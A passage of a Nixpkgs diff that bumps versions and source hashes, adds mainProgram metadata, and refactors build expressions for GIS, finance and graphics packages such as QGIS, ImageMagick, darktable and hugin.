2d280a41c5df1..6ced017dff6cd 100644 --- a/pkgs/applications/finance/irpf/default.nix +++ b/pkgs/applications/finance/irpf/default.nix @@ -72,5 +72,6 @@ stdenvNoCC.mkDerivation rec { platforms = platforms.all; sourceProvenance = with sourceTypes; [ binaryBytecode ]; maintainers = with maintainers; [ atila ]; + mainProgram = "irpf"; }; } diff --git a/pkgs/applications/gis/grass/default.nix b/pkgs/applications/gis/grass/default.nix index c42984a8d6ff5..c100c9dd14415 100644 --- a/pkgs/applications/gis/grass/default.nix +++ b/pkgs/applications/gis/grass/default.nix @@ -93,7 +93,6 @@ stdenv.mkDerivation (finalAttrs: { configureFlags = [ "--with-blas" - "--with-fftw" "--with-geos" # It complains about missing libmysqld but doesn't really seem to need it "--with-mysql" @@ -107,11 +106,7 @@ stdenv.mkDerivation (finalAttrs: { "--with-proj-share=${proj}/share/proj" "--with-pthread" "--with-readline" - "--with-wxwidgets" - "--with-zstd" "--without-opengl" - ] ++ lib.optionals stdenv.isLinux [ - "--with-pdal" ] ++ lib.optionals stdenv.isDarwin [ "--without-cairo" "--without-freetype" diff --git a/pkgs/applications/gis/qgis/unwrapped.nix b/pkgs/applications/gis/qgis/unwrapped.nix index 4d89cacece799..ac72139796d40 100644 --- a/pkgs/applications/gis/qgis/unwrapped.nix +++ b/pkgs/applications/gis/qgis/unwrapped.nix @@ -52,6 +52,7 @@ let packageOverrides = self: super: { pyqt5 = super.pyqt5.override { withLocation = true; + withSerialPort = true; }; }; }; @@ -77,14 +78,14 @@ let urllib3 ]; in mkDerivation rec { - version = "3.34.3"; + version = "3.36.0"; pname = "qgis-unwrapped"; src = fetchFromGitHub { owner = "qgis"; repo = "QGIS"; rev = "final-${lib.replaceStrings [ "." ] [ "_" ] version}"; - hash = "sha256-uf4qUalY6LxPykgUt/atHBTu+A6ITrcnfez/jwVMLvA="; + hash = "sha256-uO9Bu+7n8xzsjumbp0t/yYQNvyDgRH1bdfqpX9oLoTY="; }; passthru = { diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix index 261df37e9aa9d..8fe391173d660 100644 --- a/pkgs/applications/graphics/ImageMagick/default.nix +++ b/pkgs/applications/graphics/ImageMagick/default.nix @@ -49,13 +49,13 @@ in stdenv.mkDerivation (finalAttrs: { pname = "imagemagick"; - version = "7.1.1-28"; + version = "7.1.1-29"; src = fetchFromGitHub { owner = "ImageMagick"; repo = "ImageMagick"; rev = finalAttrs.version; - hash = "sha256-WT058DZzMrNKn9E56dH476iCgeOi7QQ3jNBxKAqT6h4="; + hash = "sha256-W9WbHzmTa0dA9+mOxXu88qmN1mO9ORaH0Nj6r2s1Q+E="; }; outputs = [ "out" "dev" "doc" ]; # bin/ isn't really big diff --git a/pkgs/applications/graphics/alchemy/default.nix b/pkgs/applications/graphics/alchemy/default.nix index c37bc92a4065d..2b61004ed0e7a 100644 --- a/pkgs/applications/graphics/alchemy/default.nix +++ b/pkgs/applications/graphics/alchemy/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = [ maintainers.marcweber ]; platforms = platforms.linux; + mainProgram = "alchemy"; }; } diff --git a/pkgs/applications/graphics/apngasm/default.nix b/pkgs/applications/graphics/apngasm/default.nix index 085683b5b6434..d75188b36dd61 100644 --- a/pkgs/applications/graphics/apngasm/default.nix +++ b/pkgs/applications/graphics/apngasm/default.nix @@ -29,6 +29,7 @@ stdenv.mkDerivation rec { license = licenses.zlib; maintainers = with maintainers; [ orivej ]; platforms = platforms.linux; + mainProgram = "apngasm"; }; } diff --git a/pkgs/applications/graphics/artem/default.nix b/pkgs/applications/graphics/artem/default.nix index de6f593fc453e..18bc00983828a 100644 --- a/pkgs/applications/graphics/artem/default.nix +++ b/pkgs/applications/graphics/artem/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "artem"; - version = "2.0.2"; + version = "2.0.6"; src = fetchFromGitHub { owner = "finefindus"; repo = "artem"; rev = "v${version}"; - hash = "sha256-t8L1lylaacEHGg3wxVgiB2XmBHDGzql774oHrg/vUC0="; + hash = "sha256-iio0MJG0qVndhQvF2zgZ6Jw0za6bBQYFmtk1Mbxpq1E="; }; - cargoHash = "sha256-rsgl8g6AqNmdq2gJ3PHvKMb7eid8ewtheajGWSWbeBw="; + cargoHash = "sha256-47HNoAA1qr39qQqfq+qZoCFyjKHu5pnRKC2QzA60K3k="; nativeBuildInputs = [ installShellFiles @@ -48,5 +48,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/finefindus/artem/blob/v${version}/CHANGELOG.md"; license = licenses.mpl20; maintainers = with maintainers; [ figsoda ]; + mainProgram = "artem"; }; } diff --git a/pkgs/applications/graphics/ascii-image-converter/default.nix b/pkgs/applications/graphics/ascii-image-converter/default.nix index c4a63aa4fbebe..d0ae5420bdfec 100644 --- a/pkgs/applications/graphics/ascii-image-converter/default.nix +++ b/pkgs/applications/graphics/ascii-image-converter/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/TheZoraiz/ascii-image-converter#readme"; license = licenses.asl20; maintainers = [ maintainers.danth ]; + mainProgram = "ascii-image-converter"; }; } diff --git a/pkgs/applications/graphics/autotrace/default.nix b/pkgs/applications/graphics/autotrace/default.nix index e611a56a66247..30cf116fed14d 100644 --- a/pkgs/applications/graphics/autotrace/default.nix +++ b/pkgs/applications/graphics/autotrace/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { platforms = platforms.unix; maintainers = with maintainers; [ hodapp ]; license = licenses.gpl2; + mainProgram = "autotrace"; }; } diff --git a/pkgs/applications/graphics/awesomebump/default.nix b/pkgs/applications/graphics/awesomebump/default.nix index e7bc474e17d34..a5debbc21b02d 100644 --- a/pkgs/applications/graphics/awesomebump/default.nix +++ b/pkgs/applications/graphics/awesomebump/default.nix @@ -59,5 +59,6 @@ in mkDerivation { license = lib.licenses.gpl3Plus; maintainers = [ lib.maintainers.eelco ]; platforms = lib.platforms.linux; + mainProgram = "AwesomeBump"; }; } diff --git a/pkgs/applications/graphics/azpainter/default.nix b/pkgs/applications/graphics/azpainter/default.nix index ac52af2a7d4c6..05fb56bb5d7d7 100644 --- a/pkgs/applications/graphics/azpainter/default.nix +++ b/pkgs/applications/graphics/azpainter/default.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ dtzWill ]; platforms = with platforms; linux ++ darwin; + mainProgram = "azpainter"; }; } diff --git a/pkgs/applications/graphics/cloudcompare/default.nix b/pkgs/applications/graphics/cloudcompare/default.nix index 7f8d9be53b858..1ad3476e80910 100644 --- a/pkgs/applications/graphics/cloudcompare/default.nix +++ b/pkgs/applications/graphics/cloudcompare/default.nix @@ -23,13 +23,13 @@ mkDerivation rec { pname = "cloudcompare"; - version = "2.12.4"; + version = "2.13"; src = fetchFromGitHub { owner = "CloudCompare"; repo = "CloudCompare"; rev = "v${version}"; - sha256 = "sha256-rQ9/vS/fyRWGBL4UGPNSeeNsDtnRHEp9NCViBtu/QEs="; + hash = "sha256-tCmIdajizaTT1tvPA7YQoklfz7pYVKS0lJXrxV2fidg="; fetchSubmodules = true; }; diff --git a/pkgs/applications/graphics/curv/default.nix b/pkgs/applications/graphics/curv/default.nix index 6725e525c3768..71793b861508f 100644 --- a/pkgs/applications/graphics/curv/default.nix +++ b/pkgs/applications/graphics/curv/default.nix @@ -64,5 +64,6 @@ stdenv.mkDerivation rec { platforms = platforms.all; broken = stdenv.isDarwin; maintainers = with maintainers; [ pbsds ]; + mainProgram = "curv"; }; } diff --git a/pkgs/applications/graphics/darktable/default.nix b/pkgs/applications/graphics/darktable/default.nix index 8983b14cb446b..fdc3770676ffe 100644 --- a/pkgs/applications/graphics/darktable/default.nix +++ b/pkgs/applications/graphics/darktable/default.nix @@ -56,12 +56,12 @@ }: stdenv.mkDerivation rec { - version = "4.6.0"; + version = "4.6.1"; pname = "darktable"; src = fetchurl { url = "https://github.com/darktable-org/darktable/releases/download/release-${version}/darktable-${version}.tar.xz"; - sha256 = "sha256-cksn4yBNGCLebcU+oJCmsc5V98MiJtNGQmiXdcaKrMI="; + sha256 = "sha256-Fu3AoHApPi082k6hDkm9qb3pMuI/nmLi+i56x0rPev0="; }; nativeBuildInputs = [ cmake ninja llvmPackages.llvm pkg-config intltool perl desktop-file-utils wrapGAppsHook ]; diff --git a/pkgs/applications/graphics/deskew/default.nix b/pkgs/applications/graphics/deskew/default.nix index ad3a20d2431cd..f43a26f692a34 100644 --- a/pkgs/applications/graphics/deskew/default.nix +++ b/pkgs/applications/graphics/deskew/default.nix @@ -40,6 +40,7 @@ stdenv.mkDerivation rec { license = with licenses; [ mit mpl11 ]; maintainers = with maintainers; [ryantm]; platforms = platforms.all; + mainProgram = "deskew"; }; } diff --git a/pkgs/applications/graphics/drawio/default.nix b/pkgs/applications/graphics/drawio/default.nix index af64823bb35c7..08a0ba5b8125c 100644 --- a/pkgs/applications/graphics/drawio/default.nix +++ b/pkgs/applications/graphics/drawio/default.nix @@ -13,19 +13,19 @@ stdenv.mkDerivation rec { pname = "drawio"; - version = "22.1.18"; + version = "23.1.5"; src = fetchFromGitHub { owner = "jgraph"; repo = "drawio-desktop"; rev = "v${version}"; fetchSubmodules = true; - hash = "sha256-qOZm7XbF8QOx5rD5EJY0lJhaq2Yhp/nppOA4BIWheyE="; + hash = "sha256-ThmTahuU0o/vr6h/T/zCyEB5/APJlVA6t1TNfZgqTJ0="; }; offlineCache = fetchYarnDeps { yarnLock = src + "/yarn.lock"; - hash = "sha256-TwI3NCIn5NnKXuwW5dBl4q6Ma5rZR7NVNb5hoKbmNLM="; + hash = "sha256-hL89WVYy/EQe6Zppmr17Q9T2o/UjBvydDIgGpr7AA5M="; }; nativeBuildInputs = [ @@ -61,7 +61,7 @@ stdenv.mkDerivation rec { sed -i "/afterSign/d" electron-builder-linux-mac.json '' + '' yarn --offline run electron-builder --dir \ - --config electron-builder-linux-mac.json \ + ${if stdenv.isDarwin then "--config electron-builder-linux-mac.json" else ""} \ -c.electronDist=${if stdenv.isDarwin then "." else "${electron}/libexec/electron"} \ -c.electronVersion=${electron.version} @@ -112,5 +112,6 @@ stdenv.mkDerivation rec { changelog = "https://github.com/jgraph/drawio-desktop/releases/tag/v${version}"; maintainers = with maintainers; [ qyliss darkonion0 ]; platforms = platforms.darwin ++ platforms.linux; + mainProgram = "drawio"; }; } diff --git a/pkgs/applications/graphics/emulsion/default.nix b/pkgs/applications/graphics/emulsion/default.nix index 4964d258c11a4..f970b7ffc58ff 100644 --- a/pkgs/applications/graphics/emulsion/default.nix +++ b/pkgs/applications/graphics/emulsion/default.nix @@ -73,5 +73,6 @@ rustPlatform.buildRustPackage rec { maintainers = [ maintainers.magnetophon ]; platforms = platforms.unix; license = licenses.mit; + mainProgram = "emulsion"; }; } diff --git a/pkgs/applications/graphics/entwine/default.nix b/pkgs/applications/graphics/entwine/default.nix index 908d5cc08184a..5a79bc38c553c 100644 --- a/pkgs/applications/graphics/entwine/default.nix +++ b/pkgs/applications/graphics/entwine/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation { license = licenses.lgpl2Only; maintainers = with maintainers; [ matthewcroughan ]; platforms = platforms.linux; + mainProgram = "entwine"; }; } diff --git a/pkgs/applications/graphics/epeg/default.nix b/pkgs/applications/graphics/epeg/default.nix index b4ba26bd015f9..8134771f5688d 100644 --- a/pkgs/applications/graphics/epeg/default.nix +++ b/pkgs/applications/graphics/epeg/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { url = "https://github.com/mattes/epeg#license"; }; maintainers = with maintainers; [ nh2 ]; + mainProgram = "epeg"; }; } diff --git a/pkgs/applications/graphics/epick/default.nix b/pkgs/applications/graphics/epick/default.nix index c27cbf94476b5..dee31abdd29d2 100644 --- a/pkgs/applications/graphics/epick/default.nix +++ b/pkgs/applications/graphics/epick/default.nix @@ -57,5 +57,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/vv9k/epick/blob/${version}/CHANGELOG.md"; license = licenses.gpl3Only; maintainers = with maintainers; [ figsoda ]; + mainProgram = "epick"; }; } diff --git a/pkgs/applications/graphics/evilpixie/default.nix b/pkgs/applications/graphics/evilpixie/default.nix index 49611f1709b7f..8e6d8328a3cb3 100644 --- a/pkgs/applications/graphics/evilpixie/default.nix +++ b/pkgs/applications/graphics/evilpixie/default.nix @@ -12,14 +12,14 @@ , impy }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "evilpixie"; version = "0.3.1"; src = fetchFromGitHub { owner = "bcampbell"; repo = "evilpixie"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-+DdAN+xDOYxLgLHUlr75piTEPrWpuOyXvxckhBEl7yU="; }; @@ -51,5 +51,4 @@ stdenv.mkDerivation rec { # https://github.com/bcampbell/evilpixie/issues/28 stdenv.isAarch64; }; -} - +}) diff --git a/pkgs/applications/graphics/f3d/default.nix b/pkgs/applications/graphics/f3d/default.nix index 2fef95222b5a5..12076557acfb7 100644 --- a/pkgs/applications/graphics/f3d/default.nix +++ b/pkgs/applications/graphics/f3d/default.nix @@ -52,5 +52,6 @@ stdenv.mkDerivation rec { license = licenses.bsd3; maintainers = with maintainers; [ bcdarwin pbsds ]; platforms = with platforms; unix; + mainProgram = "f3d"; }; } diff --git a/pkgs/applications/graphics/figma-agent/default.nix b/pkgs/applications/graphics/figma-agent/default.nix index 36ae271d7e164..a6bf008e82959 100644 --- a/pkgs/applications/graphics/figma-agent/default.nix +++ b/pkgs/applications/graphics/figma-agent/default.nix @@ -40,5 +40,6 @@ buildRustPackage { description = "Figma Agent for Linux (a.k.a. Font Helper)"; license = licenses.mit; maintainers = with maintainers; [ ercao ]; + mainProgram = "figma-agent"; }; } diff --git a/pkgs/applications/graphics/flaca/default.nix b/pkgs/applications/graphics/flaca/default.nix index 0c421618d0943..912887e0e93a9 100644 --- a/pkgs/applications/graphics/flaca/default.nix +++ b/pkgs/applications/graphics/flaca/default.nix @@ -24,5 +24,6 @@ rustPlatform.buildRustPackage rec { maintainers = with maintainers; [ zzzsy ]; platforms = platforms.linux; license = licenses.wtfpl; + mainProgram = "flaca"; }; } diff --git a/pkgs/applications/graphics/focus-stack/default.nix b/pkgs/applications/graphics/focus-stack/default.nix index 11de5d144452a..6025aa9b7a1be 100644 --- a/pkgs/applications/graphics/focus-stack/default.nix +++ b/pkgs/applications/graphics/focus-stack/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/PetteriAimonen/focus-stack"; license = licenses.mit; maintainers = with maintainers; [ paperdigits ]; + mainProgram = "focus-stack"; }; } diff --git a/pkgs/applications/graphics/foxotron/default.nix b/pkgs/applications/graphics/foxotron/default.nix index 079515b4b2143..c5f2d9c26fccf 100644 --- a/pkgs/applications/graphics/foxotron/default.nix +++ b/pkgs/applications/graphics/foxotron/default.nix @@ -97,5 +97,6 @@ stdenv.mkDerivation rec { license = licenses.unlicense; maintainers = with maintainers; [ OPNA2608 ]; platforms = platforms.all; + mainProgram = "Foxotron"; }; } diff --git a/pkgs/applications/graphics/gcolor2/default.nix b/pkgs/applications/graphics/gcolor2/default.nix index 61a41abac5b05..4ee7b869eea07 100644 --- a/pkgs/applications/graphics/gcolor2/default.nix +++ b/pkgs/applications/graphics/gcolor2/default.nix @@ -39,5 +39,6 @@ stdenv.mkDerivation { license = lib.licenses.gpl2Plus; maintainers = with lib.maintainers; [ notthemessiah ]; platforms = with lib.platforms; unix; + mainProgram = "gcolor2"; }; } diff --git a/pkgs/applications/graphics/gnome-obfuscate/default.nix b/pkgs/applications/graphics/gnome-obfuscate/default.nix index 3ea22fff3dc1c..49499f7d7322e 100644 --- a/pkgs/applications/graphics/gnome-obfuscate/default.nix +++ b/pkgs/applications/graphics/gnome-obfuscate/default.nix @@ -18,7 +18,7 @@ , Foundation }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "gnome-obfuscate"; version = "0.0.9"; @@ -26,13 +26,13 @@ stdenv.mkDerivation rec { domain = "gitlab.gnome.org"; owner = "World"; repo = "Obfuscate"; - rev = version; + rev = finalAttrs.version; hash = "sha256-aUhzact437V/bSsG2Ddu2mC03LbyXFg+hJiuGy5NQfQ="; }; cargoDeps = rustPlatform.fetchCargoTarball { - inherit src; - name = "${pname}-${version}"; + inherit (finalAttrs) src; + name = "${finalAttrs.pname}-${finalAttrs.version}"; hash = "sha256-HUQvdCmzjdmuJGDLtC/86yzbRimLzx+XbW29f+Ua48w="; }; @@ -66,4 +66,4 @@ stdenv.mkDerivation rec { mainProgram = "obfuscate"; maintainers = with maintainers; [ fgaz ]; }; -} +}) diff --git a/pkgs/applications/graphics/gnuclad/default.nix b/pkgs/applications/graphics/gnuclad/default.nix index b90735d850837..a263746ef9acb 100644 --- a/pkgs/applications/graphics/gnuclad/default.nix +++ b/pkgs/applications/graphics/gnuclad/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ mog ]; platforms = platforms.unix; + mainProgram = "gnuclad"; }; } diff --git a/pkgs/applications/graphics/goxel/default.nix b/pkgs/applications/graphics/goxel/default.nix index 968794ccec666..0b10cda884c7c 100644 --- a/pkgs/applications/graphics/goxel/default.nix +++ b/pkgs/applications/graphics/goxel/default.nix @@ -1,14 +1,14 @@ { lib, stdenv, fetchFromGitHub, scons, pkg-config, wrapGAppsHook , glfw3, gtk3, libpng12 }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "goxel"; version = "0.14.0"; src = fetchFromGitHub { owner = "guillaumechereau"; repo = "goxel"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-ueA0YW2n/DXd9AytDzfPtvtXbvuUm4VDwcdvHWObKxc="; }; @@ -38,4 +38,4 @@ stdenv.mkDerivation rec { platforms = platforms.linux; maintainers = with maintainers; [ tilpner fgaz ]; }; -} +}) diff --git a/pkgs/applications/graphics/gpicview/default.nix b/pkgs/applications/graphics/gpicview/default.nix index f19c0282b1870..fcef4751eab72 100644 --- a/pkgs/applications/graphics/gpicview/default.nix +++ b/pkgs/applications/graphics/gpicview/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ lovek323 ]; platforms = platforms.unix; + mainProgram = "gpicview"; }; } diff --git a/pkgs/applications/graphics/gqview/default.nix b/pkgs/applications/graphics/gqview/default.nix index 847fa9ea5f686..8237473c79b1a 100644 --- a/pkgs/applications/graphics/gqview/default.nix +++ b/pkgs/applications/graphics/gqview/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.unix; maintainers = with maintainers; [ ]; + mainProgram = "gqview"; }; } diff --git a/pkgs/applications/graphics/gthumb/default.nix b/pkgs/applications/graphics/gthumb/default.nix index c284774bd362a..44a86c6447dc8 100644 --- a/pkgs/applications/graphics/gthumb/default.nix +++ b/pkgs/applications/graphics/gthumb/default.nix @@ -35,11 +35,11 @@ stdenv.mkDerivation rec { pname = "gthumb"; - version = "3.12.4"; + version = "3.12.5"; src = fetchurl { url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; - sha256 = "sha256-rdaTrArrmjDYKboDoGIIKJ0/aGjcOwJXNUnogZDHlOg="; + sha256 = "sha256-9jhd9F/oxyYuw0nhP4FRLpDpl5jdI3eTLkKR1jNZ86s="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/graphics/guetzli/default.nix b/pkgs/applications/graphics/guetzli/default.nix index 9f2f050441f1a..945416e3f03d9 100644 --- a/pkgs/applications/graphics/guetzli/default.nix +++ b/pkgs/applications/graphics/guetzli/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation { license = lib.licenses.asl20; platforms = lib.platforms.x86_64; maintainers = [ lib.maintainers.seppeljordan ]; + mainProgram = "guetzli"; }; } diff --git a/pkgs/applications/graphics/hello-wayland/default.nix b/pkgs/applications/graphics/hello-wayland/default.nix index 45c1e6f541635..d2ce6c57cec21 100644 --- a/pkgs/applications/graphics/hello-wayland/default.nix +++ b/pkgs/applications/graphics/hello-wayland/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation { maintainers = with maintainers; [ qyliss ]; license = licenses.mit; platforms = platforms.linux; + mainProgram = "hello-wayland"; }; } diff --git a/pkgs/applications/graphics/hugin/default.nix b/pkgs/applications/graphics/hugin/default.nix index 29535438ec7e4..6a0408f98f139 100644 --- a/pkgs/applications/graphics/hugin/default.nix +++ b/pkgs/applications/graphics/hugin/default.nix @@ -2,7 +2,6 @@ , stdenv , cmake , fetchurl -, fetchpatch , gnumake , makeWrapper , pkg-config @@ -38,21 +37,13 @@ stdenv.mkDerivation rec { pname = "hugin"; - version = "2022.0.0"; + version = "2023.0.0"; src = fetchurl { url = "mirror://sourceforge/hugin/hugin-${version}.tar.bz2"; - hash = "sha256-l8hWKgupp0PguVWkPf3gSLHGDNnl8u4rad4agWRuBac="; + hash = "sha256-BKOfzMYBfgVExjm9IjCUcsV001s0Vcut4fw4cOYxYys="; }; - patches = [ - (fetchpatch { - name = "hugin-2022.0.0-exiv2-0.28.patch"; - url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/media-gfx/hugin/files/hugin-2022.0.0-exiv2-0.28.patch?id=d18335caa756f5e5c1478d5fe3ba17f011a78c80"; - hash = "sha256-Y+79bFb926GW5oLOL0e5y7kLhqU/vZcry+kLL4H2fUE="; - }) - ]; - buildInputs = [ boost cairo diff --git a/pkgs/applications/graphics/hydrus/default.nix b/pkgs/applications/graphics/hydrus/default.nix index 89e2d8c208172..9d9b22c1cb74f 100644 --- a/pkgs/applications/graphics/hydrus/default.nix +++ b/pkgs/applications/graphics/hydrus/default.nix @@ -12,14 +12,14 @@ python3Packages.buildPythonPackage rec { pname = "hydrus"; - version = "559"; + version = "564"; format = "other"; src = fetchFromGitHub { owner = "hydrusnetwork"; repo = "hydrus"; rev = "refs/tags/v${version}"; - hash = "sha256-+aYrqt1sifCe6/qS4kZyx0CLSHEoutFk6cyxmOXmN7Q="; + hash = "sha256-U2Z04bFrSJBCk6RwLcKr/x+Pia9V5UHjpUi8AzaCf9o="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/graphics/icon-library/default.nix b/pkgs/applications/graphics/icon-library/default.nix index cbd704a24a916..6033843e4aebf 100644 --- a/pkgs/applications/graphics/icon-library/default.nix +++ b/pkgs/applications/graphics/icon-library/default.nix @@ -19,11 +19,11 @@ stdenv.mkDerivation rec { pname = "icon-library"; - version = "0.0.17"; + version = "0.0.18"; src = fetchurl { - url = "https://gitlab.gnome.org/World/design/icon-library/uploads/8c4cad88809cd4ddc0eeae6f5170c001/icon-library-${version}.tar.xz"; - hash = "sha256-Gspx3fJl+ZoUN3heGWaeMuxUsjWCrIdg4pJj7DeMTSY="; + url = "https://gitlab.gnome.org/World/design/icon-library/uploads/874b27fcf34662d9686f670d406142c2/icon-library-${version}.tar.xz"; + hash = "sha256-qCGwTePA817mulFjyRZKw+Fw1S77+QTtA7WH+KocL48="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/graphics/image_optim/default.nix b/pkgs/applications/graphics/image_optim/default.nix index 94b16d57467d5..1d9048cafaa66 100644 --- a/pkgs/applications/graphics/image_optim/default.nix +++ b/pkgs/applications/graphics/image_optim/default.nix @@ -71,5 +71,6 @@ bundlerApp { license = licenses.mit; maintainers = with maintainers; [ srghma nicknovitski ]; platforms = platforms.all; + mainProgram = "image_optim"; }; } diff --git a/pkgs/applications/graphics/imagej/default.nix b/pkgs/applications/graphics/imagej/default.nix index 35c8dbf2f19aa..b6396c231b19d 100644 --- a/pkgs/applications/graphics/imagej/default.nix +++ b/pkgs/applications/graphics/imagej/default.nix @@ -78,5 +78,6 @@ in stdenv.mkDerivation rec { license = licenses.publicDomain; platforms = platforms.unix; maintainers = with maintainers; [ yuriaisaka ]; + mainProgram = "imagej"; }; } diff --git a/pkgs/applications/graphics/img-cat/default.nix b/pkgs/applications/graphics/img-cat/default.nix index 825955c10b9ea..414f4b2a3b332 100644 --- a/pkgs/applications/graphics/img-cat/default.nix +++ b/pkgs/applications/graphics/img-cat/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/trashhalo/imgcat"; license = licenses.mit; maintainers = with maintainers; [ penguwin ]; + mainProgram = "imgcat"; }; } diff --git a/pkgs/applications/graphics/imgcat/default.nix b/pkgs/applications/graphics/imgcat/default.nix index 72167cb2b3fc9..ab3d22531589c 100644 --- a/pkgs/applications/graphics/imgcat/default.nix +++ b/pkgs/applications/graphics/imgcat/default.nix @@ -27,6 +27,7 @@ stdenv.mkDerivation rec { license = licenses.isc; maintainers = with maintainers; [ jwiegley ]; platforms = platforms.unix; + mainProgram = "imgcat"; }; } diff --git a/pkgs/applications/graphics/imlibsetroot/default.nix b/pkgs/applications/graphics/imlibsetroot/default.nix index 110a7e513e32b..a4059ccba28b7 100644 --- a/pkgs/applications/graphics/imlibsetroot/default.nix +++ b/pkgs/applications/graphics/imlibsetroot/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation { license = licenses.mitAdvertising; platforms = platforms.linux; maintainers = with maintainers; [ dwarfmaster ]; + mainProgram = "imlibsetroot"; }; } diff --git a/pkgs/applications/graphics/imv/default.nix b/pkgs/applications/graphics/imv/default.nix index 044814c88a1c3..98aa410e96147 100644 --- a/pkgs/applications/graphics/imv/default.nix +++ b/pkgs/applications/graphics/imv/default.nix @@ -16,10 +16,12 @@ , libxkbcommon , libGLU , wayland -, withBackends ? [ "freeimage" "libtiff" "libjpeg" "libpng" "librsvg" "libnsgif" "libheif" ] +# "libnsgif" is disabled until https://todo.sr.ht/~exec64/imv/55 is solved +, withBackends ? [ "libjxl" "libtiff" "libjpeg" "libpng" "librsvg" "libheif" ] , freeimage , libtiff , libjpeg_turbo +, libjxl , libpng , librsvg , netsurf @@ -40,7 +42,7 @@ let }; backends = { - inherit freeimage libtiff libpng librsvg libheif; + inherit freeimage libtiff libpng librsvg libheif libjxl; libjpeg = libjpeg_turbo; inherit (netsurf) libnsgif; }; @@ -62,14 +64,14 @@ assert builtins.all stdenv.mkDerivation rec { pname = "imv"; - version = "4.4.0"; + version = "4.5.0"; outputs = [ "out" "man" ]; src = fetchFromSourcehut { owner = "~exec64"; repo = "imv"; rev = "v${version}"; - sha256 = "sha256-LLEEbriHzZhAOQivqHqdr6g7lh4uj++ytlme8AfRjf4="; + sha256 = "sha256-aJ2EXgsS0WUTxMqC1Q+uOWLG8BeuwAyXPmJB/9/NCCU="; }; mesonFlags = [ diff --git a/pkgs/applications/graphics/inkscape/extensions/textext/default.nix b/pkgs/applications/graphics/inkscape/extensions/textext/default.nix index bb7ccd3e1896a..c3ad003cc1b2c 100644 --- a/pkgs/applications/graphics/inkscape/extensions/textext/default.nix +++ b/pkgs/applications/graphics/inkscape/extensions/textext/default.nix @@ -20,13 +20,13 @@ let in python3.pkgs.buildPythonApplication rec { pname = "textext"; - version = "1.10.1"; + version = "1.10.2"; src = fetchFromGitHub { owner = "textext"; repo = "textext"; - rev = version; - sha256 = "sha256-FbUfZfVOYEyQVL1YMyNwb/sIUxJ+VhevatjuJI/ocIw="; + rev = "refs/tags/${version}"; + sha256 = "sha256-JbI/ScCFCvHbK9JZzHuT67uSAL3546et+gtTkwRnCSE="; }; patches = [ diff --git a/pkgs/applications/graphics/ipe/default.nix b/pkgs/applications/graphics/ipe/default.nix index 59fe59e910fbc..fd5fb779517c8 100644 --- a/pkgs/applications/graphics/ipe/default.nix +++ b/pkgs/applications/graphics/ipe/default.nix @@ -13,6 +13,7 @@ , libspiro , lua5 , qtbase +, qtsvg , texliveSmall , wrapQtAppsHook , zlib @@ -41,6 +42,7 @@ stdenv.mkDerivation rec { libspiro lua5 qtbase + qtsvg zlib ] ++ (lib.optionals withTeXLive [ texliveSmall diff --git a/pkgs/applications/graphics/jpeginfo/default.nix b/pkgs/applications/graphics/jpeginfo/default.nix index 52f55a629f8a2..c470082a2bb31 100644 --- a/pkgs/applications/graphics/jpeginfo/default.nix +++ b/pkgs/applications/graphics/jpeginfo/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ maintainers.bjornfor ]; platforms = platforms.all; + mainProgram = "jpeginfo"; }; } diff --git a/pkgs/applications/graphics/jpegoptim/default.nix b/pkgs/applications/graphics/jpegoptim/default.nix index d8ec361600ea0..dd5def2a5e309 100644 --- a/pkgs/applications/graphics/jpegoptim/default.nix +++ b/pkgs/applications/graphics/jpegoptim/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = [ maintainers.aristid ]; platforms = platforms.all; + mainProgram = "jpegoptim"; }; } diff --git a/pkgs/applications/graphics/komikku/default.nix b/pkgs/applications/graphics/komikku/default.nix index 91c70aa02782a..4a4b499ca4d09 100644 --- a/pkgs/applications/graphics/komikku/default.nix +++ b/pkgs/applications/graphics/komikku/default.nix @@ -19,7 +19,7 @@ python3.pkgs.buildPythonApplication rec { pname = "komikku"; - version = "1.37.1"; + version = "1.38.1"; format = "other"; @@ -28,7 +28,7 @@ python3.pkgs.buildPythonApplication rec { owner = "valos"; repo = "Komikku"; rev = "v${version}"; - hash = "sha256-pGOut63+ST1Yqe1Fj0c4cI0du1q4JW7WVA4h+muWGJQ="; + hash = "sha256-eVNW8Iuhee9WBbiXP7ijvd0K44/IpwdrdiT4RkBNcxI="; }; nativeBuildInputs = [ 